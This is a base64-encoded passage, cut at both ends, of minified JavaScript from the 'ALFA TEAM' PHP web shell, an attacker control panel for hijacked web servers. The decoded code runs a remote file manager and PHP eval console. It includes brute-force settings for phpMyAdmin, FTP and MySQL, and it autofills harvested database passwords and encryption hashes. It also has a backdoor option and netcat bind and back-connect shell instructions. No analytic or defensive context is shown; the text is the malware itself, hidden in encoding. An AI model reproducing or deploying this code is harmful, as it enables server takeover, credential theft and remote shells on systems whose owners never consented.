29sZHVtcGVyIj09YS5zdWJzdHIoMCw5KSYmYWxmYUNvbER1bXBlckluaXQoKX0sITEsIiI9PWdfYWN0aW9uX2lkPyIuIithOmdfYWN0aW9uX2lkKSxnX2FjdGlvbl9pZD0iIiwwPT1mbV9pZDImJmMhPWNfJiZjJiZpbml0RGlyKGMpKTooYWxmYWxvYWRlcihhbGZhMywiYmxvY2siKSxfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGUsYSl7dmFyIHQ9YTthPWQucXVlcnlTZWxlY3RvcigiIyIrKCJpZF9kYiIhPWEuc3Vic3RyKDAsNSk/Im9wdGlvbl8iK2E6YSkpO3RyeXsoZT1KU09OLnBhcnNlKGUpKS5ob3N0JiZlLnVzZXImJmUuZGJuYW1lJiYoJCgiZGJfaG9zdCIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfaG9zdCIpLnZhbHVlPWUuaG9zdCksJCgiZGJfdXNlciIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfdXNlciIpLnZhbHVlPWUudXNlciksJCgiZGJfbmFtZSIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfbmFtZSIpLnZhbHVlPWUuZGJuYW1lKSwkKCJkYl9wdyIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfcHciKS52YWx1ZT1lLnBhc3N3b3JkKSwkKCJkYl9wcmVmaXgiKSYmZS5wcmVmaXgmJihhLnF1ZXJ5U2VsZWN0b3IoIiNkYl9wcmVmaXgiKS52YWx1ZT1lLnByZWZpeCksJCgiY2NfZW5jcnlwdGlvbl9oYXNoIikmJmUuY2NfZW5jcnlwdGlvbl9oYXNoJiYoYS5xdWVyeVNlbGVjdG9yKCIjY2NfZW5jcnlwdGlvbl9oYXNoIikudmFsdWU9ZS5jY19lbmNyeXB0aW9uX2hhc2gpKX1jYXRjaChlKXt9YWxmYWxvYWRlcih0LCJub25lIil9LCExLGFsZmEzKSl9ZnVuY3Rpb24gYWxmYUdldExhc3RGb2xkZXJOYW1lKGUpe3ZhciBhPWUucmVwbGFjZSgvXC9cLy9nLCIvIikuc3BsaXQoIi8iKTtmb3IodmFyIHQgaW4gYSkwPT1hW3RdLmxlbmd0aCYmYS5zcGxpY2UodCwxKTt2YXIgaT1hW2EubGVuZ3RoLTFdO3JldHVybiAwPT1pLmxlbmd0aCYmKGk9Ii8iKSxpfWZ1bmN0aW9uIGFsZmFsb2FkZXIoZSxhKXtpZigwPT1lLmxlbmd0aClyZXR1cm4hMTt0cnl7dmFyIHQ9JCgibG9hZGVyXyIrZSk7aWYobnVsbD09dCYmImJsb2NrIj09YSl7dmFyIGk9bnVsbDsiZWRpdG9yIj09ZT9pPWQucXVlcnlTZWxlY3RvcigiI2VkaXRvciAuZWRpdG9yLW1vZGFsIik6ImlkX2RiIj09ZS5zdWJzdHIoMCw1KT9pPSQoZSk6InRlcm1pbmFsX2lkIj09ZS5zdWJzdHIoMCwxMSk/aT0kKGUpOiJlZGl0b3IiPT1lLnN1YnN0cigwLDYpP2k9JChlKToiY2dpZnJhbWUiPT1lP2k9JCgiY2dpZnJhbWUiKToiZmlsZXNtYW5faG9sZGVyIj09ZS5zdWJzdHIoMCwxNSk/KGk9JChlKSkuc3R5bGUubWluSGVpZ2h0PSIzMDBweCI6aT0kKCJvcHRpb25fIitlKSxpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxkaXYgaWQ9J2xvYWRlcl8iK2UrJ1wnIGNsYXNzPSJvcHRpb25zLWxvYWRlci1ob2xkZXIiPjxkaXYgcGFyZW50PSInK2UrJyIgb25jbGljaz0iYWxmYUFqYXhDb250cm9sbGVyKHRoaXMpOyIgY2xhc3M9InN0b3BBamF4Ij5bIFN0b3AgaXQgXTwvZGl2PjxkaXYgY2xhc3M9ImFsZmF0ZWFtLWxvYWRlci10ZXh0Ij5BTEZBIFRFQU08L2Rpdj48ZGl2IGNsYXNzPSJhbGZhLWFqYXgtZXJyb3IiPjwvZGl2PjxpbWcgc3JjPVwnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvbG9hZGVyLnN2Z1wnPjwvZGl2PicpfWVsc2UiZmlsZXNtYW5faG9sZGVyIj09ZS5zdWJzdHIoMCwxNSkmJigkKGUpLnN0eWxlLm1pbkhlaWdodD0iMCIpLG51bGwhPXQmJih0LnN0eWxlLmRpc3BsYXk9YSl9Y2F0Y2goZSl7fX1mdW5jdGlvbiBmcyhlKXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSx0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIGRpdi5zZiIpO215c3FsX2NhY2hlLmhhc093blByb3BlcnR5KGEpfHwobXlzcWxfY2FjaGVbYV09e30pLGFsZmFsb2FkZXIoYSwiYmxvY2siKTt2YXIgaT10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWUsbD10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2xvZ2luXSIpLnZhbHVlLG89dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9wYXNzXSIpLnZhbHVlLHI9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9iYXNlXSIpP3QucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKS52YWx1ZTp0LnF1ZXJ5U2VsZWN0b3IoInNlbGVjdFtuYW1lPXNxbF9iYXNlXSIpLnZhbHVlLG49dC5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT10eXBlXSIpLnZhbHVlLHM9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkPyJ0cnVlIjoiIjtfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoIlNxbCIpKyImYWxmYTE9IithbGZhYjY0KCJxdWVyeSIpKyImYWxmYTI9JmM9IithbGZhYjY0KGNfKSsiJmNoYXJzZXQ9IithbGZhYjY0KCJVVEYtOCIpKyImdHlwZT0iK2FsZmFiNjQobikrIiZzcWxfaG9zdD0iK2FsZmFiNjQoaSkrIiZzcWxfbG9naW49IithbGZhYjY0KGwpKyImc3FsX3Bhc3M9IithbGZhYjY0KG8pKyImc3FsX2Jhc2U9IithbGZhYjY0KHIpKyImc3FsX2NvdW50PSIrYWxmYWI2NChzKSsiJmN1cnJlbnRfbXlzcWxfaWQ9IithbGZhYjY0KGEpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihlLGEpe2xvYWRQb3BVcERhdGFiYXNlKGUsYSksZXZhbEpTKGUpLGFsZmFsb2FkZXIoYSwibm9uZSIpfSwhMSxhKX1mdW5jdGlvbiBjdGxiYyhlKXt2YXIgYT0kKCJiY1N0YXR1cyIpLHQ9JCgiYmNpcEFjdGlvbiIpOyJiaW5kIj09ZS52YWx1ZT8odC5zdHlsZS5kaXNwbGF5PSJub25lIixhLmlubmVySFRNTD0iPHNtYWxsPlByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uIGFuZCBydW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyBzZXJ2ZXJfaXAgcG9ydDwvZm9udD4gYCBvbiB5b3VyIGNvbXB1dGVyPC9zbWFsbD4iKToodC5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLGEuaW5uZXJIVE1MPSI8c21hbGw+UnVuIGAgPGZvbnQgY29sb3I9J3JlZCc+bmMgLWwgLXYgLXAgcG9ydDwvZm9udD4gYCBvbiB5b3VyIGNvbXB1dGVyIGFuZCBwcmVzcyBgIDxmb250IGNvbG9yPSdyZWQnPj4+PC9mb250PiBgIGJ1dHRvbjwvc21hbGw+Iil9ZnVuY3Rpb24gJChlKXtyZXR1cm4gZC5nZXRFbGVtZW50QnlJZChlKX1mdW5jdGlvbiBhZGRuZXd1cCgpe3ZhciBlPSJmb290ZXJ1cF8iK3VwY291bnQsYT0icGZvb3RlcnVwXyIrdXBjb3VudCx0PTEhPXVwY291bnQ/InBmb290ZXJ1cF8iKyh1cGNvdW50LTEpOiJwZm9vdGVydXAiLGk9ZC5jcmVhdGVFbGVtZW50KCJwIik7aS5pbm5lckhUTUw9JzxsYWJlbCBjbGFzcz0iaW5wdXRmaWxlIiBmb3I9IicrZSsnIj48c3BhbiBpZD0iX19mbmFtZXVwJyt1cGNvdW50KyciPjwvc3Bhbj4gPHN0cm9uZz4mbmJzcDsmbmJzcDtDaG9vc2UgYSBmaWxlPC9zdHJvbmc+PC9sYWJlbD48aW5wdXQgaWQ9IicrZSsnIiB0eXBlPSJmaWxlIiBuYW1lPSJmW10iIG9uQ2hhbmdlPSJoYW5kbGV1cCh0aGlzLCcrdXBjb3VudCsnKTsiIG11bHRpcGxlPicsaS5pZD1hLGkuYXBwZW5kQWZ0ZXIoJCh0KSksdXBjb3VudCsrfWZ1bmN0aW9uIGFsZmFfc2VhcmNoZXJfdG9vbChlKXtzd2l0Y2goZSl7Y2FzZSJhbGwiOmNhc2UiZGlycyI6X2FsZmFTZXQoITAsIkRpc2FibGVkIik7YnJlYWs7Y2FzZSJmaWxlcyI6X2FsZmFTZXQoITEsInBocCIpfX1mdW5jdGlvbiBfYWxmYVNldChlLGEpe2Quc3JjaC5leHQuZGlzYWJsZWQ9ZSxkLnNyY2guZXh0LnZhbHVlPWF9ZnVuY3Rpb24gZGlzX2lucHV0KGUpe3N3aXRjaChlKXtjYXNlInBocG15YWRtaW4iOmJydXRlU2V0KCEwLCJEaXNhYmxlZCIsImh0dHA6Ly8iKTticmVhaztjYXNlImRpcmVjdCI6YnJ1dGVTZXQoITEsIjIyMjIiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJjcCI6YnJ1dGVTZXQoITEsIjIwODIiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJmdHAiOmJydXRlU2V0KCEwLCJEaXNhYmxlZCIsImZ0cDovLyIpO2JyZWFrO2Nhc2UibXlzcWwiOmJydXRlU2V0KCExLCIzMzA2IiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZnRwYyI6YnJ1dGVTZXQoITEsIjIxIiwiaHR0cDovLyIpfX1mdW5jdGlvbiBicnV0ZVNldChlLGEsdCl7Yz0iMjEiIT1hPyJsb2NhbGhvc3QiOiJmdHAuZXhhbXBsZS5jb20iLCQoInBvcnQiKS5kaXNhYmxlZD1lLCQoInBvcnQiKS52YWx1ZT1hLCQoInRhcmdldCIpLnZhbHVlPWMsJCgicHJvdG9jb2wiKS52YWx1ZT10fWZ1bmN0aW9uIGluQmFja2Rvb3IoZSl7Im15Ij09ZS52YWx1ZT8kKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjokKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIHNhdmVCeUtleShlKXtyZXR1cm4hKCJzIj09U3RyaW5nLmZyb21DaGFyQ29kZShlLndoaWNoKS50b0xvd2VyQ2FzZSgpJiZlLmN0cmxLZXl8fDE5PT1lLndoaWNoKXx8KCQoImVkaXRvcl9lZGl0X2FyZWEiKS5vbnN1Ym1pdCgpLGUucHJldmVudERlZmF1bHQoKSwhMSl9ZnVuY3Rpb24gYWxmYUFqYXhFcnJvcihlLGEsdCxpKXtpZih2b2lkIDAhPT1hKXt2YXIgbD1kLnF1ZXJ5U2VsZWN0b3IoIiNsb2FkZXJfIithKTtudWxsIT1sJiYoZmlyZXdhbGw9IiIsNDAzPT1lJiYoZmlyZXdhbGw9IiB+IEZpcmVXYWxsIERldGVjdGVkISIpLGwucXVlcnlTZWxlY3RvcigiaW1nIikucmVtb3ZlKCksbC5xdWVyeVNlbGVjdG9yKCIuYWxmYS1hamF4LWVycm9yIikuaW5uZXJIVE1MPWUrIiAoICIrdCtmaXJld2FsbCsiICkiLGFsZmFTaG93Tm90aWZpY2F0aW9uKHQsIkFqYXgiLCJlcnJvciIpKX19ZnVuY3Rpb24gYWxmYUluaXRDd2RDb250ZXh0KCl7ZC5xdWVyeVNlbGVjdG9yQWxsKCIuaGVhZGVyX3B3ZCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5hZGRFdmVudExpc3RlbmVyKCJjb250ZXh0bWVudSIsZnVuY3Rpb24oZSl7dmFyIGE9ZS50YXJnZXQuZ2V0QXR0cmlidXRlKCJwYXRoIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9bmV3dGFiXSIpO3Quc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApOyIpLHQucmVtb3ZlQXR0cmlidXRlKCJ0YXJnZXQiKSx0Lm9uY2xpY2s9ZnVuY3Rpb24oKXthbGZhRmlsZXNNYW5OZXdUYWIoYSwiLyIpfTt2YXIgaT1lLmNsaWVudFgsbD1lLmNsaWVudFk7YWxmYVNvcnRNZW51SXRlbXMoWyJuZXd0YWIiXSksYWxmYVJpZ2h0Q2xpY2tNZW51KGksbCksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBhbGZhUmlnaHRDbGlja01lbnUoZSxhKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC50b3A9YSsicHgiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LmxlZnQ9ZSsicHgiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LnZpc2liaWxpdHk9InZpc2libGUiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0Lm9wYWNpdHk9IjEifWZ1bmN0aW9uIGFsZmFTb3J0TWVudUl0ZW1zKGUpe3ZhciBhPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImV4dHJhY3QiLCJkZWxldGUiLCJ2aWV3X2FyY2hpdmUiXSx0PSExO2Zvcih2YXIgaSBpbiBhKXtmb3IodmFyIGwgaW4gdD0hMSxlKWFbaV0hPWVbbF18fChkLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IithW2ldKyJdIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHQ9ITApO3R8fChkLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IithW2ldKyJdIikuc3R5bGUuZGlzcGxheT0ibm9uZSIpfX1mdW5jdGlvbiBhbGZhQWNlQ2hhbmdlU2V0dGluZyhlLGEpe3ZhciB0PWUub3B0aW9uc1tlLnNlbGVjdGVkSW5kZXhdLnZhbHVlLGk9ZS5nZXRBdHRyaWJ1dGUoImJhc2UiKSxsPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09aSYmKGw9YWxmYV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgbz1lLmdldEF0dHJpYnV0ZSgiYWNlX2lkIik7ImxhbmciPT1hP2xbb10uc2Vzc2lvbi5zZXRNb2RlKCJhY2UvbW9kZS8iK3QpOiJ0aGVtZSI9PWEmJmxbb10uc2V0VGhlbWUoImFjZS90aGVtZS8iK3QpLHNldENvb2tpZSgiYWxmYV9hY2VfIithKyJfIitpLHQsMjAxMil9ZnVuY3Rpb24gYWxmYUFjZUNoYW5nZVdyYXBNb2RlKGUsYSl7dmFyIHQ9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I7ImV2YWwiPT1hJiYodD1hbGZhX2FjZV9lZGl0b3JzLmV2YWwpO3ZhciBpPWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTtlLmNoZWNrZWQ/dFtpXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKTp0W2ldLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITEpfWZ1bmN0aW9uIGFsZmFBY2VDaGFuZ2VGb250U2l6ZShlLGEsdCl7dmFyIGk9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I7ImV2YWwiPT1lJiYoaT1hbGZhX2FjZV9lZGl0b3JzLmV2YWwpO3ZhciBsPXQuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKSxvPWlbbF0uZ2V0Rm9udFNpemUoKTsiKyI9PWE/KytvOi0tbyxpW2xdLnNldEZvbnRTaXplKG8pLHNldENvb2tpZSgiYWxmYV9hY2VfZm9udHNpemVfIitlLG8sMjAxMil9ZnVuY3Rpb24gc2V0Q29va2llKGUsYSx0KXt2YXIgaT1uZXcgRGF0ZTtpLnNldFRpbWUoaS5nZXRUaW1lKCkrMjQqdCo2MCo2MCoxZTMpO3ZhciBsPSJleHBpcmVzPSIraS50b1VUQ1N0cmluZygpO2RvY3VtZW50LmNvb2tpZT1lKyI9IithKyI7IitsKyI7cGF0aD0vIn1mdW5jdGlvbiBnZXRDb29raWUoZSl7dmFyIGE9KCI7ICIrZG9jdW1lbnQuY29va2llKS5zcGxpdCgiOyAiK2UrIj0iKTtpZigyPT1hLmxlbmd0aClyZXR1cm4gYS5wb3AoKS5zcGxpdCgiOyIpLnNoaWZ0KCl9ZnVuY3Rpb24gZWRpdG9yQ2xvc2UoZSl7aWYoZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIixlbGVtPSQoZSksZWxlbS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tY2xvc2UiKSwiZWRpdG9yIj09ZSl7aWYoaXNfbWluaW1pemVkPSExLG51bGwhPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yJiZudWxsIT1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcil7Zm9yKHZhciBhIGluIGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yKWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW2FdLmRlc3Ryb3koKTthbGZhX2FjZV9lZGl0b3JzLmVkaXRvcj1udWxsLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIikuaW5uZXJIVE1MPSIiLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50LWhvbGRlciIpLmlubmVySFRNTD0iIn19ZWxzZSBpZigiY2dpbG9hZGVyIj09ZSlwaHBfdGVtcmluYWxfdXNpbmdfY2dpJiYoZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC1jb250ZW50cyIpLmlubmVySFRNTD0iIikscGhwX3RlbXJpbmFsX3VzaW5nX2NnaT0hMSxjZ2lfaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoIm9wdGlvbnNfd2luZG93Ij09ZSl7aWYob3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExLG51bGwhPWFsZmFfYWNlX2VkaXRvcnMuZXZhbCl7Zm9yKHZhciBhIGluIGFsZmFfYWNlX2VkaXRvcnMuZXZhbClhbGZhX2FjZV9lZGl0b3JzLmV2YWxbYV0uZGVzdHJveSgpO2FsZmFfYWNlX2VkaXRvcnMuZXZhbD1udWxsLGQucXVlcnlTZWxlY3RvckFsbCgiLnBocC1ldmFscyIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5yZW1vdmVBdHRyaWJ1dGUoImFjZSIpfSl9fWVsc2UiZGF0YWJhc2Vfd2luZG93Ij09ZSYmKGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtlbGVtPSQoZSksZWxlbS5yZW1vdmVBdHRyaWJ1dGUoImNsYXNzIiksZWxlbS5zdHlsZS5kaXNwbGF5PSJub25lIiwib3B0aW9uc193aW5kb3ciPT1lJiYoZWxlbS5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc190YWIiKS5pbm5lckhUTUw9IiIsZWxlbS5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19jb250ZW50IikuaW5uZXJIVE1MPSIiKX0sMWUzKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIHBvcHVwV2luZG93QmFja1Bvc2l0aW9uKCl7dmFyIGU9e2NnaWxvYWRlcjpjZ2lfaXNfbWluaW1pemVkLG9wdGlvbnNfd2luZG93Om9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZCxkYXRhYmFzZV93aW5kb3c6ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZCxlZGl0b3I6aXNfbWluaW1pemVkfSxhPVtdO2Zvcih2YXIgdCBpbiBlKWVbdF0mJmEucHVzaCh0KTsxPT1hLmxlbmd0aD8kKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSI6Mj09YS5sZW5ndGg/KCQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjUwJSIpOjM9PWEubGVuZ3RoPygkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSIsJChhWzJdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI2MCUiKTo0PT1hLmxlbmd0aCYmKCQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMCUiLCQoYVsxXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIiwkKGFbMl0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjU1JSIsJChhWzNdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI4MCUiKX1mdW5jdGlvbiBzaG93RWRpdG9yKGUpe2lmKCQoZSkuc2V0QXR0cmlidXRlKCJjbGFzcyIsImVkaXRvci1hbmltLXNob3ciKSwkKGUrIi1taW5pbWl6ZWQiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwibWluaW1pemVkLWhpZGUiKSwiZWRpdG9yIj09ZSlpc19taW5pbWl6ZWQ9ITE7ZWxzZSBpZigiY2dpbG9hZGVyIj09ZSljZ2lfaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoIm9wdGlvbnNfd2luZG93Ij09ZSl7b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExO3ZhciBhPWQucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUudGFiX2lzX2FjdGl2ZS50YWItaXMtZG9uZSIpO251bGwhPWEmJmEuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKX1lbHNlImRhdGFiYXNlX3dpbmRvdyI9PWUmJihkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSExKTtwb3B1cFdpbmRvd0JhY2tQb3NpdGlvbigpLGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIn1mdW5jdGlvbiBlZGl0b3JNaW5pbWl6ZShlKXskKGUpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJlZGl0b3ItYW5pbS1taW5pbWl6ZSIpLCQoZSsiLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtc2hvdyIpLCJlZGl0b3IiPT1lP2lzX21pbmltaXplZD0hMDoiY2dpbG9hZGVyIj09ZT9jZ2lfaXNfbWluaW1pemVkPSEwOiJvcHRpb25zX3dpbmRvdyI9PWU/b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSEwOiJkYXRhYmFzZV93aW5kb3ciPT1lJiYoZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZD0hMCkscG9wdXBXaW5kb3dCYWNrUG9zaXRpb24oKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIGNsZWFyRWRpdG9ySGlzdG9yeSgpe2lmKGNvbmZpcm0oIkFyZSB1IFN1cmU/IikpZm9yKHZhciBlIGluIGVkaXRvcl9maWxlcyllIT1lZGl0b3JfY3VycmVudF9maWxlJiZyZW1vdmVIaXN0b3J5KGUpfWZ1bmN0aW9uIGlzQXJjaGl2ZShlKXt2YXIgYSx0PVsiLnRhci5neiIsIi50YXIuYnoyIiwiLnRhci56IiwiLnRhci54eiIsIi56aXAiLCIuemlweCIsIi43eiIsIi5iejIiLCIuZ3oiLCIucmFyIiwiLnRhciIsIi50Z3oiXTtmb3IoYSBpbiB0KWlmKG5ldyBSZWdFeHAoIiguKikoIit0W2FdLnJlcGxhY2UoL1wuL2csIlxcLiIpKyIpJCIsImdpIikudGVzdChlKSlyZXR1cm4hMDtyZXR1cm4hMX1mdW5jdGlvbiBlZGl0b3IoZSxhLHQsaSxsLG8pe2lmKCJkaXIiPT1vJiYiLi4iPT1lKXJldHVybiExO2lmKCJkb3dubG9hZCI9PWEpcmV0dXJuIGcoIkZpbGVzVG9vbHMiLGksZSwiZG93bmxvYWQiKSwhMTt2YXIgcj0iIixuPSIiLHM9IiIsYz0iIixmPWQubWYuYy52YWx1ZSxfPSEwO2lmKGU9ZS50cmltKCksMD09T2JqZWN0LmtleXMoZWRpdG9yX2ZpbGVzKS5sZW5ndGgpe3ZhciB1PWdldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIik7dHJ5e2Zvcih2YXIgcCBpbiB1PWF0b2IodSksZWRpdG9yX2ZpbGVzPUpTT04ucGFyc2UodSkpaW5zZXJ0VG9IaXN0b3J5KHAsZWRpdG9yX2ZpbGVzW3BdLmZpbGUsMCxlZGl0b3JfZmlsZXNbcF0udHlwZSl9Y2F0Y2goZSl7fX1pZigicGhhcjovLyI9PWUuc3Vic3RyKDAsNykpZj1jXztlbHNlIGlmKC0xIT1lLmluZGV4T2YoIi8iKSl7dmFyIG09ZS5zcGxpdCgiLyIpO2U9bVttLmxlbmd0aC0xXSxkZWxldGUgbVttLmxlbmd0aC0xXSxmPW0uam9pbigiLyIpLGlzbGludXgmJihmPSIvIitmKX1pZih2b2lkIDA9PT1vJiYobz0iIiksdm9pZCAwIT09aSYmbnVsbCE9aSYmMCE9aS5sZW5ndGgmJihmPWkudHJpbSgpKSwiYXV0byI9PWEmJmlzQXJjaGl2ZShlKSlyZXR1cm4gYWxmYVN5bmNNZW51VG9PcHQoZSwhMCksITE7dHJ5e2Zvcih2YXIgdiBpbiBlZGl0b3JfZmlsZXMpaWYoZWRpdG9yX2ZpbGVzW3ZdLmZpbGU9PWRlY29kZVVSSUNvbXBvbmVudChlKSYmZWRpdG9yX2ZpbGVzW3ZdLnB3ZC5yZXBsYWNlKC9cLy9nLCIiKT09Zi5yZXBsYWNlKC9cLy9nLCIiKSl7Xz0hMSxsPXY7YnJlYWt9fWNhdGNoKGUpe31pZihlZGl0b3JfZXJyb3I9ITAsdm9pZCAwIT09dCYmMCE9dC5sZW5ndGgmJm51bGwhPXQmJihyPWFsZmFiNjQodCkpLHZvaWQgMCE9PWwmJm51bGwhPWwmJjAhPWwubGVuZ3RoKW49YWxmYWI2NChsKSxzPWwsYz1sLnJlcGxhY2UoImZpbGVfIiwiIik7ZWxzZXt2YXIgaD0iZmlsZV8iKyhjPWdldFJhbmRvbSgxMCkpO249YWxmYWI2NChoKSxzPWh9dmFyIGI9ImVkaXRvcl9zb3VyY2VfIitjO2lmKG51bGw9PSQoYikpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudHMuZWRpdG9yLWNvbnRlbnQtYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyAuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLXRhYi1hY3RpdmUiKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsIjxkaXYgb25jbGljaz0nZWRpdG9yVGFiQ29udHJvbGxlcih0aGlzKTsnIG9wdF9pZD0nIitiKyInIGlkPSd0YWJfIitiKyInIGNsYXNzPSdlZGl0b3ItdGFiLW5hbWUgZWRpdG9yLXRhYi1hY3RpdmUnPiIrZGVjb2RlVVJJQ29tcG9uZW50KGUpKyIgPGltZyBvcHRfaWQ9JyIrYisiJyBvbmNsaWNrPSdjbG9zZUVkaXRvckNvbnRlbnQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOycgdGl0bGU9J1tjbG9zZV0nIHNyYz0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmcnPjwvZGl2PiIpLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50LWhvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50cyBlZGl0b3ItY29udGVudC1hY3RpdmUnIGlkPSciK2IrIic+PC9kaXY+Iil9cmV0dXJuIDA9PWlzX21pbmltaXplZCYmIm5vbmUiPT0k